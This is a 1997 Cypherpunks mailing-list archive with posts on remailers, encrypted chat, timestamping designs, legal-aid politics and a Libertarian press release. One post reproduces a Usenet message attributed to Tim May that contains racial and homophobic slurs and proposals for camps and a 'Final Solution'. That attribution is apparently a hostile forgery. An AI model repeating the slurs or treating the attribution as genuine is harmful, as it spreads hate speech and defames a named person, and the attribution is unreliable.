subscriber to cyberpass as apache@quux.. and I get that mail fairly
promptly but under this nicks sub to cyberpass (much lower down on the
list of subscribers) the latency is usually in hours (4-8) with 
discussions sometimes over before I read them, whereas my sub to toad is
much prompter. I haven't done any statitics on this but I have been
watching as the posts come in and procmail tosses them into various
mailboxes. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alex de Joode <adejoode@replay.com>
Date: Wed, 20 Aug 1997 22:15:51 +0800
To: cypherpunks@toad.com
Subject: Re: Alex le Heux
Message-ID: <199708201358.PAA05461@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Alex Le Heux sez:

: In article <199708181919.VAA19973@xs2.xs4all.nl> you wrote:

: : Hey HEY!  It's the man who nearly managed to single-handedly 
: : derail the PGP legal export hack by playing the block rocking 
: : beats (all vinyl) which inspired the vacationing hackers to 
: : spill the drinks on the source books.

: What's a sourcecode book without a few drinks spilled on it? :)


Whatever happend to the sourcecode books ? :)

-AJ-





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Apache <apache@bear.apana.org.au>
Date: Wed, 20 Aug 1997 15:09:46 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Status of Cypherpunks list sites?
In-Reply-To: <Pine.LNX.3.96.970820152437.5044B-100000@bear.apana.org.au>
Message-ID: <Pine.LNX.3.96.970820164757.5594B-100000@bear.apana.org.au>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 20 Aug 1997, Apache wrote:

> subscriber to cyberpass as apache@quux.. and I get that mail fairly
> promptly but under this nicks sub to cyberpass (much lower down on the
> list of subscribers) the latency is usually in hours (4-8) with 

Well this post took 1.5 hours to turn around.

In any case toad is in general much faster for me. Anyone else (besides
JY) find this to be the case?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Apache <apache@bear.apana.org.au>
Date: Wed, 20 Aug 1997 16:35:56 +0800
To: cypherpunks@toad.com
Subject: Re: Status of Cypherpunks list sites?
In-Reply-To: <199708200730.AAA06171@mail-gw.pacbell.net>
Message-ID: <Pine.LNX.3.96.970820174559.5594C-100000@bear.apana.org.au>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 19 Aug 1997, Neva Remailer wrote:

> Apache wrote:
> > 
> > I am subscribed to toad and
> > cyberpass under 3 or 4 names and I find toad is by far the quickest in
> > turn around time to me.
> 
>   They can do wonderful things with people having multiple personalities
> these days. You ought to check it out.

if u bothered to pay attention u would discover that all posts are made as
apache or by my real name using apache@ accounts from whichever box I
happen to be on at the time. search the archives and do a 'who' on the
majordomos. if i was interested in exploring multiple personalities i
would use a remailer where such games would be harder to discover,
although many are unmasked eventually; some through error, some through
readers picking up various clues.

by way of note multiple subscriptions became quite common during the great
censorship debacle to ensure particular lists were getting uncensored and
complete feeds; no doubt that was before ur time though wasn't it.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vipul Ved Prakash <vipul@pobox.com>
Date: Thu, 21 Aug 1997 19:49:28 +0800
To: cypherpunks@toad.com (Cypherpunks)
Subject: RE: Katz, Wired, and Clueless Conferences on Cyberspace (fwd)
Message-ID: <199708191759.RAA04190@fountainhead.net>
MIME-Version: 1.0
Content-Type: text



Rishab Aiyer Ghosh wrote:

> Tim May wrote:
> >It seems that Jon Katz of "HotWired" (TM), or "Wired" (TM), or whatever, is
> >mightily impressed that he was invited to meet some bigwigs in Chicago to
> >chart the future of cyberspace.

> I don't know if Tim actually read all of it, or the second part,
> but Katz spent most of the two-part piece explaining why
> he _wasn't_ going to attend, and why no other "good guy"
> should attend this or similar conferences (quite apart from
> the truth about confs usually being just an excuse to schmooze).

> The second part also had a full list of invitees, which included
> Wired's Kevin Kelly (who Katz complained _is_ going) but, funnily
> enough, Esther's _not_ on there.

> Rishab
> ps. I'm not replying to the list, since I'm not on it.

> First Monday - The Peer-Reviewed Journal on the Internet 
> http://www.firstmonday.dk/  Munksgaard International Publishers, Copenhagen

> Intl & Managing Editor - Rishab Aiyer Ghosh (ghosh@firstmonday.dk) 
> Mobile +91 98110 14574; Fax +91 11 2209608; Tel +91 11 2454717 
> A4/204 Ekta Apts., 9 Indraprastha Extn, New Delhi 110092 INDIA

-- 

Vipul Ved Prakash                 | - Electronic Security & Crypto 
vipul@pobox.com 	          | - Web Objects 
91 11 2233328                     | - PERL Development 
198 Madhuban IP Extension         | - Linux & Open Systems 
Delhi, INDIA 110 092              | - Networked Virtual Spaces





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@neva.org (Neva Remailer)
Date: Thu, 21 Aug 1997 12:20:43 +0800
To: cypherpunks@toad.com
Subject: Re: An end to "court appointed attorneys"
Message-ID: <199708210406.VAA11265@mail-gw.pacbell.net>
MIME-Version: 1.0
Content-Type: text/plain




frissell@panix.com wrote:

> Jury nullification and aggressive attacks on the judge and the prosecutor are
> just a few of the defense strategies that a lawyer won't indulge in but a
> client proceeding in pro per is free to use.
> 
> DCF
> 
> "I respectfully request that your Honor recuse yourself because you have a
> financial interest in the outcome of these proceedings.  Your salary is paid
> from tax monies and if my arguments on the tax system are accepted, your
> income will be cut off.  I request appointment of a judge who does not
> receive payment from taxation."

Things Judges Love To Hear #328:
  "If you're going to be deciding my fate, would you mind peeing into
this cup for me? Nothing personal, you understand."

PissMonger







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "James A. Donald" <jamesd@echeque.com>
Date: Thu, 21 Aug 1997 00:41:37 +0800
To: Duncan Frissell <cypherpunks@toad.com>
Subject: Re: FCPUNX:The Real Bell Issue / Re: Bell, etc
Message-ID: <199708201616.JAA11750@proxy4.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain



At 11:21 AM 8/19/97 -0700, Tim May wrote:
> > So, I disagree with Duncan's apparent point that it's too bad the Bell case
> > didn't go to trial. I'm convinced Bell would have been convicted on most or
> > all charges. Hardly a test case for anything important.

At 05:56 PM 8/19/97 -0400, Duncan Frissell wrote:
> But the charges were minor stuff.  Under the Federal sentencing guidelines he 
> wouldn't have gotten much if convicted. 

Federal sentencing guidelines are irrelevant in political cases.  

For example the survivors of the Waco massacre were found guilty 
of trivial technicalities, and then sentenced as if they had been
found guilty of murdering federal agents.  All appeals have been
denied.

Indeed it appears to be standard practice, that if a political
criminal is charged with both trivial crimes of which he (and
everyone else) is guilty, and extremely serious crimes, of which
he is obviously innocent, he will be convicted on the trivia, and
sentenced on the accusations.
 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd@echeque.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 21 Aug 1997 00:55:47 +0800
To: cypherpunks@Algebra.COM
Subject: An end to "court appointed attorneys"
In-Reply-To: <199708200700.JAA25135@basement.replay.com>
Message-ID: <v03102800b020ce21f94c@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain





First off, I don't believe _anyone_ should ever have a "court-appointed
attorney." We don't believe people should get state-subsidized food, or
shelter, or medical care, and so on....or at least most of us don't. So why
the big exception for hiring attorneys?

Second, nothing I have seen, and I've seen a lot, could've gotten McVeigh
off. While I can understand what his mental state may have been, and thus
can"understand" his motives, the facts are pretty clear that he did it.

It is conceivable that a "dream team" costing many millions of dollars, a
la Johnny Cockroach and the rest of the Simpson team, could have obfuscated
issues, confused a jury, etc., and gotten at least a mistrial (meaning:
more millions for them in Round Two).

But why should I pay for such a team? I paid too much for the Stephen
Jones/Jeralyn Merritt/etc. team as it was.

At 12:00 AM -0700 8/20/97, Anonymous wrote:

>  We have already seen the results of Tim McVeigh wanting his government
>schill replaced--a big FUCK YOU.
>  McVeigh's problem is not weakness, but lack of knowledge about the
>legal system and the quality of his legal representation. Unfortunately,
>I have no doubt that the government already has lawyers in place whose
>job thus far has been to gain McVeigh's trust, so that they can screw
>up his appeals, as well.

It's time to stop this "court appointed attorney" nonsense. If we as a
nation want to change our legal system to one where the court appoints both
sides of a case, prosecution and defense, as in many other countries, fine.
But it's absurd to finance the hiring of defense lawyers.

A better solution is to have relatively few things that are criminal, with
no laws against most of the things that now clog the courts. And short
trial, with none of the bullshit we saw in the Simpson case (or in any of
the other show trials of late). And no court appointed attorneys.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 21 Aug 1997 01:55:29 +0800
To: Patrick Oonk <patrick@atro.pine.nl>
Subject: Re: An end to "court appointed attorneys"
In-Reply-To: <v03102800b020ce21f94c@[207.167.93.63]>
Message-ID: <v03102800b020de3710e3@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:35 AM -0700 8/20/97, Patrick Oonk wrote:
>> First off, I don't believe _anyone_ should ever have a "court-appointed
>> attorney." We don't believe people should get state-subsidized food, or
>> shelter, or medical care, and so on....or at least most of us don't. So why
>> the big exception for hiring attorneys?
>
>Maybe for the simple reason that some people might not have the money to
>defend themselves ?

And what of those without the money to feed themselves? Etc.

I see no reason why an indigent McVeigh should be given a multimillion
dollar defense team (Jones et. al.)

You are, of course, welcome to pay for the defense of anyone, in the
Netherlands or here in the U.S. or wherever. Just don't expect me to.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Fabrice Planchon <fabrice@math.Princeton.EDU>
Date: Thu, 21 Aug 1997 00:10:43 +0800
To: cypherpunks@toad.com
Subject: Re: Encrypted talk
In-Reply-To: <199708192358.SAA00652@crl5.crl.com>
Message-ID: <19970820115816.47995@math.princeton.edu>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, Aug 19, 1997 at 06:32:54PM -0700, Jeremey Barrett wrote:
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> Jason Burrell writes:
>  > Does there happen to be a talk program out there that will allow more than
>  > two people to talk at once, and allow them to speak securely with strong
>  > cryptography, and will actually compile under Linux? 
>  > 
> 
> Barring the existence of such a thing, find a talk/talkd that does
> everything w/o the crypto, and tunnel it over ssh.

Unless ssh is already installed for all concerned parties, it's going to
be a royal pain. There is actually a pgptalk somewhere, based on ytalk,
which works quite well and should compile under linux. Don't remember
where I found it, but an archie search on pgptalk will tell you.

                      F.

-- 
Fabrice Planchon                                          (ph) 609/258-6495
Applied Math Program, 210 Fine Hall                      (fax) 609/258-1735







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Pomes <ppomes@Qualcomm.com>
Date: Thu, 21 Aug 1997 03:12:53 +0800
To: Tim May <tcmay@got.net>
Subject: Re: An end to "court appointed attorneys"
In-Reply-To: <v03102800b020de3710e3@[207.167.93.63]>
Message-ID: <25723.872103623@zelkova.qualcomm.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10:49 PDT on Wednesday, August 20, 1997, Tim May wrote:

|>Maybe for the simple reason that some people might not have the money to
|>defend themselves ?
|
|And what of those without the money to feed themselves? Etc.

The difference is that the lack of means to feed oneself is usually self-
selected.  Political criminals, or people simply unaware that they're felons
under an increasing number of laws, seldom have a choice whether they will
be arrested and tried.

Certainly the preferred solution is to junk most of the laws on the books.
However until committing a felony is an explicit conscious act, we will
need court-appointed attorneys for persecution victims.

/pbp





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 21 Aug 1997 03:21:33 +0800
To: cypherpunks@Algebra.COM
Subject: Re: An end to "court appointed attorneys"
In-Reply-To: <v03102800b020de3710e3@[207.167.93.63]>
Message-ID: <v03102800b020f11a804e@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:00 PM -0700 8/20/97, Paul Pomes wrote:
>At 10:49 PDT on Wednesday, August 20, 1997, Tim May wrote:
>
>|>Maybe for the simple reason that some people might not have the money to
>|>defend themselves ?
>|
>|And what of those without the money to feed themselves? Etc.
>
>The difference is that the lack of means to feed oneself is usually self-
>selected.  Political criminals, or people simply unaware that they're felons
>under an increasing number of laws, seldom have a choice whether they will
>be arrested and tried.
>
>Certainly the preferred solution is to junk most of the laws on the books.
>However until committing a felony is an explicit conscious act, we will
>need court-appointed attorneys for persecution victims.

I don't buy this. You are, of course, welcome to join Patrick Oonk in
funding lawyers for those unable (or unwilling) to pay. Demanding that I
pay for your charitable desires is, of course, theft.

As to your stipulation that this is for "political" cases, I of course
agree that there are too many laws. So? The fix is not to add fuel to the
engine of the beast by subsidizing a large infrastructure of "public
defenders" (really just taxpayer-funded "apprenticeships" for lawyers to
eventually enter private practice).

Why should those who managed to save money, for example, subsidize those
who did not? Jim Bell, for example (but not to pick on him...but he's the
current example), is almost as old as I am. And yet he made choices in his
career which left him indigent, or unable to pay for a legal defense. So
why should I and other taxpayers, including those working for $7 an hour at
Taco Bell, subsidize his lawyer-in-training?

Not that Bell's lawyer did any good....

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Thu, 21 Aug 1997 02:11:01 +0800
To: Tim May <cypherpunks@toad.com
Subject: Re: The Real Bell Issue / Re: Bell, etc
In-Reply-To: <3.0.2.32.19970819175653.03657300@panix.com>
Message-ID: <3.0.2.32.19970820140006.0365b7a4@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 03:47 PM 8/19/97 -0700, Tim May wrote:

>My bigger fear, and no doubt Jim will someday read this and perhaps take
>umbrage at my comments here, is that this several-month "debriefing" period
>is where the Feds are collecting as much incriminating information against
>some of us as they can, perhaps with an eye toward hitting various of us
>with RICO charges, sedition, etc.

Though we aren't an organization.  If they couldn't win a sedition case 
against the isolationists during WWII or the White Separatists in Alabama(?) 
a few years ago, they won't be able to get us.  RICO also seems unlikely 
because of our disorganization and lack of overt actions.

>If I were to be arrested and held without bail--perhaps because of the
>"arms cache" and "chemicals" the news media would breathlessly report--I
>rather suspect my aggressiveness would fall on deaf ears.

Don't worry.  If you were busted it would cause a real stink.  Remember 
Operation Sun Devil.  The Feds really lost it.  Aggressiveness doesn't just 
mean publicity.  It means strategy at trial as well.  They have to try you 
and that would be risky for them because we all have an easy First Amendment 
argument to hammer them with.  The List is defined by its expression and not 
by anything else so attacks on the list are ipso facto attacks on expression.

In fact, Ruby Ridge and Waco are why the Feds are tiptoeing around any 
similar "raids."  The publicity there really hurt them.  Their trial losses 
in the insider trading cases of the 1980's (they lost all but one case that 
went to trial) are why such prosecutions dropped off.  They prefer cases they 
can win.

And note that the current SC is probably stronger on the 1st than any court 
in our history.  Tough row to hoe for prosecutors.  

DCF

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Thu, 21 Aug 1997 04:28:42 +0800
To: cypherpunks@toad.com
Subject: (Fwd) Release: Texas & Ruby Ridge killings (fwd)
Message-ID: <Pine.LNX.3.95.970820141439.28582C-100000@westsec.denver.ssds.com>
MIME-Version: 1.0
Content-Type: text/plain



------- Forwarded Message Follows -------
Date:          Tue, 19 Aug 97 14:36:32 PDT
From:          announce@lp.org
Subject:       Release: Texas & Ruby Ridge killings
Reply-to:      announce@lp.org
To:            announce@lp.org (Libertarian Party announcements)


-----BEGIN PGP SIGNED MESSAGE-----

===============================================
NEWS FROM THE LIBERTARIAN PARTY
2600 Virginia Avenue, NW, Suite 100
Washington DC 20037
===============================================
For release: August 19, 1997
===============================================
For additional information:
George Getz, Deputy Director of Communications
Phone: (202) 333-0008 Ext. 222
E-Mail: 76214.3676@CompuServe.com
===============================================


Bring Marine and FBI killers to justice,
demands outraged Libertarian Party

        WASHINGTON, DC -- It's now legal for Marines to use
high-powered M-16 assault rifles to kill American high school students
and for FBI sharpshooters to gun down mothers holding their infant
daughters -- without worrying about any criminal penalties, the
Libertarian Party charged today.

        "In America today, your innocence is no guarantee that you
won't be killed by your own government," said the party's national
chairman, Steve Dasbach. "And incontrovertible proof of guilt is no
guarantee that military personnel or FBI agents will be charged with
any crime."

        Dasbach's comments were part of an outpouring of outrage that
followed the decision late last week by a grand jury in Texas not to
prosecute a Marine corporal who shot dead an 18-year-old high school
student, and by the Justice Department not to file charges against four
FBI agents involved in the killing of Vicki Weaver at Ruby Ridge,
Idaho, in 1992.

        "These two decisions show that the government is more concerned
about protecting the military and the FBI from justice than protecting
innocent civilians from death," charged Dasbach.

        The two cases -- while separated by five years and involving
different government agencies -- are graphic examples of why so many
Americans fear their government, said Dasbach.

        In Redford, Texas, Esequiel Hernandez, Jr. -- a "shy,
hard-working" young man, according to neighbors -- was gunned down by a
four-man squad of U.S. Marines in May as he grazed his herd of 45 goats
on his family's farm. He was the first American killed by U.S. soldiers
on U.S. soil as part of the War on Drugs.

        The grand jury ruled that the Marines were acting in
self-defense when they shot Hernandez -- despite overwhelming evidence
that the high school sophomore never saw the camouflaged Marines in the
first place.

        "This grand jury has sent a deadly message: Anything goes in
the War on Drugs," said Dasbach. "This so-called war has become a
military shooting war -- with M-16 assault rifles pointed directly at
American citizens."

        The grand jury's ruling caused a firestorm of criticism;
charges of a military cover-up; and demands for a Justice Department
investigation because of numerous inconsistencies in the "official"
version of the events.

        The military claims that Hernandez opened fire with his
antique .22 rifle on the four Marines, who were lurking in the scrub
brush while on a covert drug-surveillance mission.

        In response, they stalked Hernandez for several hundred yards,
and Marine Corporal Clemente Banuelos killed him with a single shot
from a high-powered M-16 assault rifle. According to Texas Rangers,
Hernandez was shot in the side, while facing away from the Marines.

        Hernandez lay bleeding -- his red blood pouring into the dusty
gray hillside near the Rio Grande River -- for 22 minutes before the
Marines called for emergency aid. The young victim had never been
suspected of or arrested for any criminal or drug-related activity.

        After the shooting, the Pentagon pulled 240 military personnel
from the border area, and said the policy of using the U..S. military in
covert anti-drug efforts on American soil was "under review."

        "Was the military upset over the death of an innocent
civilian?" asked Dasbach. "No. The Pentagon was concerned because the
Marines might face criminal penalties for gunning down a high school
student."

        In fact, after the grand jury was convened, Pentagon spokesman
Navy Lt. Cmdr. Scott Campbell complained that counter-drug operations
"are not fair to the members of our armed forces," because it exposes
them to "legal liability."

        In response, the Pentagon said it will ask border states like
Texas, California, Arizona, and New Mexico to sign "status of forces"
agreements with the federal government, which limit U.S. troops'
liability to local criminal law. Such an agreement would be similar to
those the U.S. government signs with foreign nations where American
troops are stationed.

        The case involving the FBI dates back to 1992 -- to the bloody
shootout at Ruby Ridge, Idaho, between the FBI and white separatist
Randy Weaver. During that standoff, an FBI sharpshooter killed Vicki
Weaver as she stood in the doorway of their mountain cabin, holding her
11-month-old daughter in her arms.

        After Randy Weaver surrendered, FBI officials destroyed
documents that detailed the bureau's unorthodox "shoot to kill" orders,
and one agent currently faces jail time for that cover-up.

        But the Justice Department ruled last week that it would not
bring criminal charges against four other senior FBI officials, and
ruled that the FBI gunman who fired the fatal bullet did not commit a
"civil rights" violation by killing Vicki Weaver.

        "No wonder Americans are so concerned about violent crime,"
said Dasbach. "They see criminals in our Armed Forces and in the FBI
committing murder and walking away without punishment -- while their
victims lie in their graves.

        "But Esequiel Hernandez, Jr. and Vicki Weaver aren't the only
victims here. The belief that in America, justice will prevail has also
been mortally wounded. The only cure: For the judicial system to take
immediate steps to bring the killers of these innocent Americans to
justice," he said.

        In addition, Dasbach said the federal government should
immediately demilitarize the War on Drugs, to make sure that another
Redford, Texas-style killing does not occur. Specifically, he
recommended:

        * Decommission the 8,000 military personnel and thousands of
National Guard troops who are participating in anti-drug missions on
U.S. soil, or reassign them to national defense tasks.

        * Immediately terminate all military spending on the War on
Drugs.

        * Demilitarize the U.S./Mexico border.

        * File criminal negligence charges against the military
commanders who sent heavily armed, poorly trained Marines onto private
property, putting American civilians at risk of death.

        "By taking these steps, some good can come from the tragic
death of Esequiel Hernandez, Jr.," said Dasbach. "The U.S. government
can use this opportunity to stop waging war against its own citizens --
and, instead, wage a war for justice."


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 21 Aug 1997 04:24:55 +0800
To: cypherpunks@Algebra.COM
Subject: Tim May shows his true colors
Message-ID: <5N2qBe1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Path: altavista!news1.digital.com!su-news-hub1.bbnplanet.com!news.bbnplanet.co
xtewshub2.home.com!news.home.com!howland.erols.net!infeed2.internetmci.com!new
xted.internetmci.com!in3.uu.net!207.167.64.6!news.znet.com!tcmay.got.net!user
From: tcmay@got.net (Tim May)
Newsgroups: scruz.general
Subject: [CFV] Call for Discussion: "scruz.moderated"
Date: Sat, 09 Aug 1997 17:44:58 -0700
Organization: None
Lines: 94
Message-ID: <tcmay-0908971744580001@tcmay.got.net>
NNTP-Posting-Host: 207.167.93.63
X-Newsreader: MT-NewsWatcher 2.3.1



There no longer being a proposal for discussion to create scruz.moderated,
in the form described in Glen's article, I am resurrecting my old
proposal. This proposal should not be confused with the other
"scruz.moderated" proposal.

This message has been automatically posted to this newsgroup because
scruz.moderated is now actively being discussed

Charter: Scruz.moderated is for educated and englightened discussion of
the pressing issues of Santa Cruz. It is to be a zone in which thoughtful
persons may discuss important issues with other thoughtful persons. The
moderator, Tim May, has already received indications of support from
leading conservative voices in Santa Cruz, including Carolyn Busenhart,
Tony S. Riducci, and Lee Himmelfarb (of the White People's Party). It will
be moderated by Tim May. 

Appropriate topics for scruz.moderated include:

- what to do with the homeless problem (e.g., the Final Solution)

- conversion of Lighthouse Field to a nuclear-powered whale packing plant
(based on the ideas of N. Campbell)

- revoking the charter of UCSC for its creation of the "Kikes and Dykes
Summer Program"

- moving the voting age in Santa Cruz back up to 21 to lessen the bias
caused by UCSC

- how to develop the North Coast, and plans to expand Highway One north of
Santa Cruz to 6 lanes--each way.

- getting the so-called health food stores shut down for failure to
properly irradiate their food

- which minorities should be relocated to Manzanar and other camps


And so on. Other topics may also be appropriate...check with the
moderator, Tim May, first.

Discussions of deviancy will not be tolerated, nor will leftist rants by
Vegans, tree worshippers, tree huggers, persons of color, and
self-described "queers."

The moderator, Tim May, will establish a "whitelist" of those with
automatic permission to post. All others will have to submit their posts
to moderator@whitepower.org. Those whose posts are approved 5 times in a
row will automatically be moved to the whitelist. The moderator, Tim May,
may move anyone off the whitelist anytime he chooses, and for any reason.

Those whose posts are approved will receive e-mail confirmation, saying
"That's mighty white of you."

With the help of the Santa Cruz community, a friendly and open space for
whites--to be known as "whitespace"--can be created. By screening out
disruptive and ideological bankrupt posts, your moderator can ensure that
meaningful debate takes place.


You must be a Registered NAWP Voter to participate in the survey. To
register, please fill out the New Voter Registration form at
<http://www.whitepower.org/voters/registration.html>

Fill out the fields below using the information supplied to NAWP. Your
score must be between 0.0 (low) and 10.0 (high).

To be accepted by the email daemon, replies MUST be addressed to
<nawp-cfv@www.whitepower.org> and have the word "CFV" in the SUBJECT line.

As an example, the BODY of your reply should look like this:

May:Adolph:1234:dsn:115:7.1.

--- Please Delete Down to Here in Your Reply ---

YourLastname:YourFirstname:YourPIN:dsn:115:YourScore.



Thank you.

--Tim May

-- 
There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Bradley E. Reynolds" <breynolds@harborcom.net>
Date: Thu, 21 Aug 1997 05:02:01 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: bloodlust or game-theory? (was Re: Alex le Heux)
In-Reply-To: <199708182326.AAA00880@server.test.net>
Message-ID: <Pine.BSF.3.96.970820164327.13296E-100000@ns2.harborcom.net>
MIME-Version: 1.0
Content-Type: text/plain



> evaluating net benefits to human happiness in removal of corrupt
> government officials, perhaps you would be happier evaluating societal
> benefits of theoretically removing some 3rd world countries more
> corrupt officials.
> 
> It's not bloodlust, it's game theory...
> 
> Adam
> -- 

Yes, but you must first assert that this is a zero sum game. 

The semantics of such a philosophy are too much to think 
about now. :).

-Brad






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@ctrl-alt-del.com>
Date: Thu, 21 Aug 1997 08:10:58 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: coercion proof timestamping services
In-Reply-To: <199708202137.WAA00738@server.test.net>
Message-ID: <Pine.LNX.3.95.970820170052.7950B-100000@www.ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 20 Aug 1997, Adam Back wrote:

> Just some thoughts about creating more robust time-stamping services.
> 
> Current time stamping services just generate a PGP key, and sign any
> messages you send them.  PGP signatures already include a time stamp.
> 
> Problem: if we find some interesting uses for time-stamps where it
> becomes important that no one can coerce the timestamping service into
> back-signing timestamps in the past, the current timestampers will be
> able to comply, or as they are automated services, simply confiscating
> the machine will likely give the attacker all information required to
> back date any number of time-stamps.
> 
> One solution to this is for the time-stamper to publish all
> time-stamps (they are quite small being detached signatures), and
> publish a siganature on all the time-stamps stored in one file each
> day.  Perhaps even publish the signature in a newspaper.  Anyone with
> that newspaper, or an archive of the master signature only, will be
> able to verify any claimed time-stamps -- the publically published
> hash (in the signature) must match the time-stamps archived for that
> day.

Or post to a news group.  (Some form of transport that can be automated
and widely distributed without having to create new protocols.)

> Another way is perhaps to have a sequence of keys for signing
> time-stamps on each day, and to discard the private key after that
> day.  Authenticate the use-for-one-day-only keys by signing with a
> long term key.  If people archive daily keys, the coercion of
> timestamping service will be detected if it attempts to publish a
> daily key for some date in the past, and the timestamping service
> can't sign with old keys as it has purposely discarded the private
> halves.

Also maintaining the temporary keys on some sort of volitile storage media
that does not leave traces for later when erased.  (RAM disk or the like.)
Keep the private key on the card and erase the old key as part of the
private key generation process.

The only weakness I see here (there may be others) is keeping the long
term key secure.  (Keeping the bad guys from generating their own bogus
keys for later timestamps and the like.)

alan@ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Thu, 21 Aug 1997 06:10:58 +0800
To: cypherpunks@toad.com
Subject: None
Message-ID: <489mOWq8qe0E4J19YCFUMg==@JawJaCrakR>
MIME-Version: 1.0
Content-Type: text/plain



>Personally, when I email politicians and the like, I usually use
>anonymous remailers, including the Georgia Cracker, so that I don't
>have to worry about being discriminated against and/or investigated
>and/or imprisoned for being afflicted with a physical and mental
>condition which causes me great discomfort when I am forced to tell
>polite lies under the guise of free speech.

Remailers are here to help the weak against the powerful.

I use em 10 times a day.

>  In short, a ratfucker is a ratfucker is a ratfucker, and if anyone
>objects to being called one, then they should make an effort not to
>be one, rather than calling for my head on a platter because I call
>a spade a spade (or a "fucking shovel").

Damned right.

>  Two nights ago I began to teach my niece and her high-school girl
>friend how to use remailers for anonymity to communicate with others
>in a manner that will not leave them vulnerable to tracking/stalking
>by strangers.

Good Ideas...  How about publishing how to use remailers and post it to a
high school Bulletin Board?

>  If someone wants to spam me, or threaten me, or whatever, through
>the use of anonymous remailers, fine--I have a delete key and I have
>mail filters.

A many a Christian bunghole forgets that instead of forcing their god down
people's throats, (Tyranny of the MINORITY) they should make an effort to
realize there's such a thing as the real world, were god doesn't matter to
some people.

>  Every time some Nazi piece of shit announces his or her intention
>to "protect" somebody, my freedom, privacy and human rights seem to
>get thrown in the trash. 

Yeah, "We gotta protect the children from the pedophiles and cypherpunks!"
I've heard shit like that often from politicians.

>  I'm growing tired of those who want to lock all of the doors on
>the InterNet and control the keys so that the citizens will be
>imprisoned behind an ElectroMagnetic Curtain where they are only
>allowed to travel at the discretion of a higher authority.

Damn right again.

>  My advice to well-meaning fascist censors is to stay the fuck out
>of the InterNet regulation business, because there are too many 
>people on the InterNet who have experienced its freedom and who will
>no go easily into the dark night.

Damn right for the third time.

>  I was in Poland shortly after the fall of The Wall, and was talking
